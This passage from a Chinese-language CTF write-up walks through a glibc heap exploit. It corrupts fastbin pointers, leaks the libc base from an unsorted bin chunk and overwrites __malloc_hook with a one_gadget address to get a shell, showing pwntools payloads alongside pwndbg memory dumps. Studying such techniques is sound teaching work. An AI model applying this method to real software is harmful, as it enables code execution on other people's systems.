0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(fastbin)
--------------------------------------------------------------
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
.....(省略内容均为空)
0x555555757180: 0x0000000000000000 0x0000000000000000
pwndbg>

再次强调,在申请fastbin中内存时,会检查被释放堆块的size(大小)是否在fastbin的范围内,如果不在,程序则异常退出,这有关于fastbin的机制。结构体状况未发生改变。

1-6 申请 index4

1
2
3
4
#改好index4的大小之后去申请两次,这样就把原来的fastbin中的给申请出来了
alloc(0x10)
alloc(0x10)
#申请成功之后index2就指向index4

首先是两个malloc,前面fastbin里一开始是两个chunk,分别为index2->index1,后来我们修改index2->fd为index4的地址,fastbin里变为

index2->index4。第一个malloc会先分配index2给我们(fastbin分配原则是LIFO即后进先出),第二个malloc会将index4分配给我们。
看一下堆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757060
Size: 0x21

Allocated chunk
Addr: 0x555555757080
Size: 0x00

pwndbg>

此时的内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000021 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
0x555555757120: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757180: 0x0000000000000000 0x0000000000000000
pwndbg>

此时的结构体状况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98730:	0x0000000000000001	0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1(chunk_flag改变)
0x5fcead98750: 0x0000000000000010 0x0000555555757050
#chunk_content_size(改变) #chunk_data_ptr(改变)
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2(chunk_flag改变) #chunk_data_size(改变)
0x5fcead98770: 0x0000555555757090 0x0000000000000001
#chunk_data_ptr(改变) #index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000001 0x0000000000000080
#index4
0x5fcead987a0: 0x0000555555757090 0x0000000000000000
0x5fcead987b0: 0x0000000000000000 0x0000000000000000

注意,此时我们有两个地方指向index4:
index4的content指针(程序的正常指向)
index2的content指针 (通过执行payload中malloc之后的指向,参照上方代码框中的结构体)
第二个malloc得到的是index为2的chunk,这与程序中的Allocate函数有关,可以回顾一下前面的IDA代码。
也就是说假如我们现在要fill index2的内容,那么其实上是修改index4的内容。

1-7 修改 index4 的 size 为0x91

1
2
3
4
#为了让index4能够被放到unsortedbin中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
0x555555757120: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757180: 0x0000000000000000 0x0000000000000000
pwndbg>

程序结构体未发生变化

1-8 申请新堆块 index 5

目的只是为了防止 index4 释放后与 top chunk 合并

1-9 free(index4),index4 放入 unsorted bin 中

1
2
#这时候free就会把index4放到unsorted中了
free(4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555757080
Size: 0x91
fd: 0x00
bk: 0x7ffff7dd1b78

pwndbg> x/60gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(unsortedbin)
0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000000090 #index5
.....(省略内容均为空)
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
.....(省略内容均为空)
0x5555557571d0: 0x0000000000000000 0x0000000000000000
pwndbg>

当unsortedbin里只有一个空闲的chunk时,该chunk的fd和bk指针均指向unsortedbin本身,这个可以参考CTF-wiki中的内容,这里先不细说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98730:	0x0000000000000001	0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1
0x5fcead98750: 0x0000000000000010 0x0000555555757050
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2
0x5fcead98770: 0x0000555555757090 0x0000000000000001
#index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000000 0x0000000000000000
#index4(此处发生了改变)#(此处发生了改变)
0x5fcead987a0: 0x0000000000000000 0x0000000000000001
#(此处发生了改变) #index5
0x5fcead987b0: 0x0000000000000080 0x0000555555757120

1-10 计算libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-----------------------------------------------------------------------------
还可以直接这样写
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
-----------------------------------------------------------------------------
示例payload的写法:
#因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(附件中有工具)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))

def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
-----------------------------------------------------------------------------

2. 控制_malloc_hook

2-1 申请 unsorted bin 中的 chunk

1
alloc(0x60)

由于在申请空间之前,之后unsortedbin中有空闲的空间,因此申请空间之后会使用unsortedbin中的chunk。
看一下此时的堆内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/60gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(由unsortedbin分裂)
.....(省略内容均为空)
0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(由unsortedbin分裂)
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 #index6(原index5)
.....(省略内容均为空)
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
.....(省略内容均为空)
0x5555557571d0: 0x0000000000000000 0x0000000000000000
pwndbg>

从上面的堆情况可以看到,由于是malloc(0x60),而原unsortedbin中的chunk_size过大,因此unsortedbin中的chunk会利用并分裂成两个堆块,其中index5还是存放在unsortedbin中的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x5555557570f0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557570f0
BK: 0x5555557570f0 ◂— 0x90
----------------------------------------------------------------------
执行payload前:
unsortedbin
all [corrupted]
FD: 0x555555757080 ◂— 0x0
BK: 0x555555757080 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757080
----------------------------------------------------------------------
smallbins
empty
largebins
empty
pwndbg>

2-2 free(index4)

1
2
3
#index2_content指针还是指向index4_chunk_data
#为了修改之后index4的fd指针,因此我们可以先释放index4
free(4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757080 ◂— 0x0
0x80: 0x0
unsortedbin (这里显示不准确)
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757060
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x5555557570d0
Size: 0x21

Allocated chunk
Addr: 0x5555557570f0
Size: 0x90

Allocated chunk | PREV_INUSE
Addr: 0x555555757180
Size: 0x20e61
pwndbg> x/60gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(fastbin)
.....(省略内容均为空)
0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(unsortedbin)
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 #index6
.....(省略内容均为空)
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
.....(省略内容均为空)
0x5555557571d0: 0x0000000000000000 0x0000000000000000
pwndbg>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98730:  0x0000000000000001  0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1
0x5fcead98750: 0x0000000000000010 0x0000555555757050
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2
0x5fcead98770: 0x0000555555757090 0x0000000000000001
#index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000000 0x0000000000000000
#index4(此处发生了改变)#(此处发生了改变)
0x5fcead987a0: 0x0000000000000000 0x0000000000000001
#(此处发生了改变) #index6(原index5)
0x5fcead987b0: 0x0000000000000080 0x0000555555757120

2-3 修改index4的fd指针

1
2
3
4
5
#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/60gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(fastbin)
0x555555757090: 0x00007ffff7dd1aed 0x0000000000000000
#更改index4的fd指针
.....(省略内容均为空)
0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(unsortedbin)
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 #index6
.....(省略内容均为空)
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
.....(省略内容均为空)
0x5555557571d0: 0x0000000000000000 0x0000000000000000
pwndbg>
1
2
3
4
5
6
7
8
9
10
pwndbg> x/16gx 0x00007ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b4d <main_arena+45>: 0x5555757080000000 0x0000000000000055
0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
pwndbg>

2-4 控制__malloc_hook

1
2
3
#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x5fcead98730:  0x0000000000000001  0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1
0x5fcead98750: 0x0000000000000010 0x0000555555757050
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2
0x5fcead98770: 0x0000555555757090 0x0000000000000001
#index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000001 0x0000000000000060
#index4(此处发生了改变)#(此处发生了改变)
0x5fcead987a0: 0x0000555555757090 0x0000000000000001
#(此处发生了改变) #index6(原index5)
0x5fcead987b0: 0x0000000000000080 0x0000555555757120
0x5fcead987c0: 0x0000000000000001 0x0000000000000060
#index7
0x5fcead987d0: 0x00007ffff7dd1afd 0x0000000000000000
pwndbg>

2-5 写入 one_gadget 并 getshell

1
2
3
4
5
6
#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)
gdb.attach(p)

2-6 最后申请一个chunk

1
alloc(0x60)

最后就能get shell 了